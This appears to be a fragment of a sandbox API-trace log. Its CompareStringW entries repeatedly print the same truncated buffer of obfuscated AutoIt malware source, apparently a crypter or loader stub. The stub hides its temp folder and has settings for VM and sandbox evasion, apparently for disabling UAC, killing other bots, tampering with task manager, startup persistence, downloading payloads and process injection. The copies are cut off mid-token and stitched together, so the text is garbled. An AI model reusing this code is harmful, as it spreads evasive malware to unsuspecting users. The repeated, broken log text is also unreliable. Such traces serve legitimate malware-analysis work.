$368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D79", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D7956", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="= 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = 